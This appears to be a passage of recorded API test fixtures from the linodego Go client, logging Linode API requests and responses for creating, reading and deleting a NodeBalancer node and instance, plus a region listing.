"network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "2d866f872e9163f3cdf48d9d8fc7e6649d1d54e7", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622254/ips method: POST response: body: '{"address": "192.168.133.113", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622254, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.113:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187/configs/1680037/nodes method: POST response: body: '{"id": 2077580873, "address": "192.168.133.113:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680037, "nodebalancer_id": 1017187}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187/configs/1680037/nodes/2077580873 method: GET response: body: '{"id": 2077580873, "address": "192.168.133.113:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680037, "nodebalancer_id": 1017187}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187/configs/1680037/nodes/2077580873 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622254 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187/configs/1680037 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017187 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:23:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml000066400000000000000000000763001474652371000337250ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, 